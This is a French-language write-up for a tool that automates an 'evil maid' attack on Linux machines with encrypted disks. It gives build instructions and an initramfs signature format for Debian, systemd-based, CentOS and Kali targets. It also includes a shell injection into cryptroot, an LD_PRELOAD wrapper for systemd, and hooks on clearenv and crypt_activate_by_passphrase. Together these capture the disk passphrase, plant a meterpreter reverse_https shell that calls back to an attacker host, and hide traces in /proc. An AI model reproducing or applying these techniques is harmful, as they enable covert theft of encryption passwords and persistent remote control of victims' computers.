
Attaque automatisée de l'evil maid sous Linux

.so dans /sbin/init au démarrage, dépose un shellLD_PRELOAD .so dans DefaultEnviroment, chargé globalement, dépose un shell.python/meterpreter/reverse_https vers LHOST au moment de la compilationgetenv PASSWORD)Voir le Makefile pour plus d'informations/configuration, LHOST est requis dans l'environnement pour construire le .so car msfvenom est injecté au moment de la compilation. Il est également nécessaire d'avoir libcrypsetup-dev (ou équivalent) installé sur la machine de compilation.
Instructions génériques (construit l'image iso dans le répertoire courant) :
LHOST=192.168.56.101 make rev.so iso
Les options suivantes ont été ajoutées au démarrage du noyau :
mc superuser nodhcp quiet loglevel=0
De plus, la valeur de prompt a été définie sur 0 pour permettre une exécution entièrement automatique.
Temps approximatif du démarrage malveillant -> backdooré : ~2 minutes Temps approximatif du démarrage légitime -> shell ~90 secondes (configurable, nous voulons que le réseau soit opérationnel avant nous)
core.d est un core.gz décompressé de TinyCore avec les paquets ci-dessous fusionnés.
Core-current est une Core-current.iso décompressée
Les paquets suivants ont été installés dans tinycore (python, support de systèmes de fichiers) :
Au minimum, la signature est la suivante :
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS est un nom unique pour ce système d'exploitation.IDENTIFIER est une commande shell qui a un code de sortie 0 lorsqu'elle est exécutée sur le bon initrd, et !0 pour tout le reste.ROOT est le chemin complet ou la variable où la nouvelle racine est montée après le déchiffrement.FILENAME est le chemin complet pour déposer notre binaire sur le système de fichiers racine. Soyez attentif à ce que monte l'initrd et ce qui est monté ultérieurement.INITRDFILENAME est le chemin complet du binaire à l'intérieur de l'initrd. Il est copié dans le Makefile (cp ... core.d/...) donc il doit correspondre.Après cela, chaque triplet de *FILE, *PRE, *POST est exécuté sur l'initrd comme un re.sub (par exemple re.sub(*PRE, *POST, *FILE). Les contenus de *PRE et *POST sont développés en utilisant .format(**config[detectedOS]), donc n'hésitez pas à développer votre signature pour injecter des éléments.
Il n'y a pas de limite au nombre de remplacements que vous pouvez effectuer.
\\1 se développera pour correspondre au contenu complet de la correspondance (*PRE) lorsqu'il est utilisé dans le remplacement (*POST).| $La charge utile metasploit python/meterpreter/reverse_https a été choisie car elle est plus indépendante de la plateforme que les charges utiles linux/*/meterpreter/reverse_tcp. python semble être installé par défaut sur tous les systèmes testés.
Par défaut, la charge utile est générée au moment de la compilation et injectée dans le fichier .c en tant que #define. Cela facilite les itérations, mais il ne devrait pas être difficile de sauvegarder la charge utile et de l'insérer manuellement.
Les systèmes basés sur Debian (Debian, Ubuntu, etc.) utilisent une image cpio gzippée standard comme initramfs. Celle-ci contient le script /init par défaut qui prépare le système pour un démarrage complet. Cela inclut la demande du mot de passe à l'utilisateur et le montage du système de fichiers racine chiffré.
Pour déposer notre .so, nous attendons que le système de fichiers racine soit monté (donc après que l'utilisateur ait saisi son mot de passe) et copions le .so sur le système de fichiers /dev. Le système de fichiers /dev a été choisi car il est accessible juste avant la commutation du rootfs et c'est un montage basé sur la RAM. Cela signifie que notre .so ne touchera pas le disque.
Pour utiliser effectivement le .so déposé, nous utilisons ensuite la variable d'environnement LD_PRELOAD sur l'appel switch_root. Cette variable est transmise à tous les exécutables enfants et ainsi, le script final /sbin/init aura le module chargé. Pour rester relativement discret, nous vérifions si nous sommes chargés dans /sbin/init, et si c'est le cas, nous désactivons la variable LD_PRELOAD et supprimons le .so. Cette fonctionnalité peut facilement être désactivée si nous souhaitons accrocher des applications spécifiques.
Pour forcer l'exécution du .so, par défaut après le chargement, nous utilisons le drapeau gcc -Wl,-init,shell, où shell est notre fonction principale. Cela spécifie quelle fonction nous voulons appeler lors de l'initialisation du .so. Considérez cela comme un analogue du DllMain de Windows.
La partie du script init chargée de demander le mot de passe à l'utilisateur et de monter le système de fichiers racine est la suivante :
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
La partie importante pour nous est celle où la sortie de $cryptkeyscript est redirigée vers $cryptcreate. $cryptkeyscript est le demandeur de mot de passe, et $cryptcreate est le monteur de disque. Ce tube rend l'attaque très facile pour nous. Nous insérons le code suivant là où se trouve le tube pour écrire le mot de passe à la fin de notre .so :
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
Cela lira le mot de passe dans la variable $P, et à la fois l'écrira à la fin du .so et le réaffichera. Ce code sera transparent pour les besoins de $cryptkeyscript et $cryptcreate, mais il aura l'effet secondaire d'exfiltrer le mot de passe. Nous utilisons \\\\\\\\x00 pour préfixer un octet nul (en tenant compte de nombreux niveaux d'échappement shell) au mot de passe. Cela rend beaucoup plus facile pour notre .so de relire le mot de passe, car il lui suffit de lire en arrière depuis la fin de lui-même jusqu'à ce qu'il trouve un octet nul.
Pour fournir ce mot de passe à l'attaquant, il est utilisé comme variable d'environnement dans l'invocation de la charge utile. Cela signifie que l'attaquant peut simplement utiliser la commande meterpreter getenv PASSWORD pour récupérer le mot de passe.
En raison de la façon dont le .so est chargé, il y aura des références à lui dans /proc/1/maps et /proc/1/environ.
Le fichier maps est une liste des modules chargés. L'extrait suivant montre le contenu de ce fichier. Notez le (deleted), qui pourrait potentiellement éveiller des soupçons. Cependant, contrairement aux binaires normaux, il n'est pas possible d'accéder au .so sans l'extraire directement de la mémoire après sa suppression.
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
Le fichier environ est une liste séparée par des NULL des variables d'environnement au moment de l'invocation. Comme il provient de l'invocation, cela signifie que toutes les modifications que nous apportons à l'exécution (désactivation de LD_PRELOAD) ne seront pas reflétées.
Dans ces deux cas, comme nous pouvons être accrochés à n'importe quel processus système, nous pourrions simplement accrocher la fonction read(2) et supprimer toute référence à nous-mêmes.
Kali est un cas particulier. Il a le cpio chaîné mentionné ci-dessous, mais n'utilise pas systemd pour démarrer. En tant que tel, la règle de système d'exploitation DRACUT a été généralisée de sorte qu'elle extrait aveuglément, puis la deuxième détection de système d'exploitation attrape Kali.
Si vous ajoutez un système d'exploitation avec un cpio contenant uniquement kernel/x86/microcode/GenuineIntel.bin, la règle IDENTIFIER doit concerner le cpio ajouté, car nous le trouverons et l'extrairons automatiquement.
Ces systèmes ont un format différent pour leur image initrd par rapport aux systèmes basés sur Debian. Les fichiers initrd stockés dans /boot sont une archive cpio presque vide, avec une archive cpio gzippée ajoutée. Cette deuxième archive est celle qui contient l'initramfs. Pour décompresser cette deuxième archive, il est nécessaire d'analyser la première archive cpio pour trouver la fin. Alternativement, vous pouvez trouver la chaîne TRAILER!!! et lire jusqu'à ce que vous trouviez la magie gzip (\x1f\x8b).
Une autre différence de ces systèmes est qu'ils sont basés sur systemd, et en tant que tel, l'exécutable /init dans l'initramfs est un lien symbolique vers le binaire systemd, plutôt qu'un script sh simple. Pour contourner cette limitation, il est nécessaire de modifier les fichiers .service liés au montage du système de fichiers racine.
Le fichier usr/lib/systemd/system/initrd-switch-root.service contient le script utilisé pour pivoter vers la nouvelle racine déchiffrée. En utilisant la pragma ExecStartPre, il est possible d'exécuter d'autres programmes avant que le pivot n'ait lieu.
SELinux est présent sur CentOS, restreignant l'utilisation de LD_PRELOAD. Un chemin fonctionnel est /lib. Cela a été localisé en lisant le fichier /etc/selinux/targeted/modules/active/file_contexts pour un emplacement étiqueté system_u:object_r:lib_t.
Comme systemd appelle clearenv() avant de changer de racine, notre variable LD_PRELOAD est effacée. Pour contourner cela, nous pouvons accrocher clearenv(), et toujours simplement remplacer l'environnement avec seulement LD_PRELOAD. Cependant, pour y parvenir, nous devons être PID 1 à l'intérieur de l'initrd. C'est plus délicat car il n'est pas possible de faire LD_PRELOAD dans ce processus. Pour contourner cela, nous avons remplacé /init par un script shell bash comme suit :
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
Cela fonctionne parce que /init est juste un lien symbolique vers /usr/lib/systemd/systemd. exec est utilisé pour que le processus conserve le PID parent (1).
Une fois cela implémenté et clearenv() neutralisé, il est possible de définir LD_PRELOAD pour le vrai pid 1 à l'intérieur de la nouvelle racine.
systemd gère les mots de passe pour les systèmes de fichiers chiffrés de manière complètement différente des scripts init basés sur Debian. Les mots de passe sont transmis en utilisant des sockets Unix qui permettent d'envoyer des identifiants. Pour contourner cette complexité, la méthode la plus simple que nous avons trouvée pour accéder au mot de passe était d'accrocher la fonction crypt_activate_by_passphrase de libcryptsetup. Les parties pertinentes de la déclaration de fonction sont les suivantes :
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
Pour accéder au mot de passe, nous accrochons simplement cette fonction, sauvegardons passphrase dans un fichier et appelons la fonction originale obtenue par dlsym(RTLD_NEXT, ...). Comme ci-dessus, nous avons ajouté notre mot de passe au .so afin qu'il puisse s'analyser lui-même et rendre le mot de passe disponible à meterpreter.
Comme ci-dessus, le .so apparaît dans /proc/1/maps, /proc/1/environ et la sortie de ps.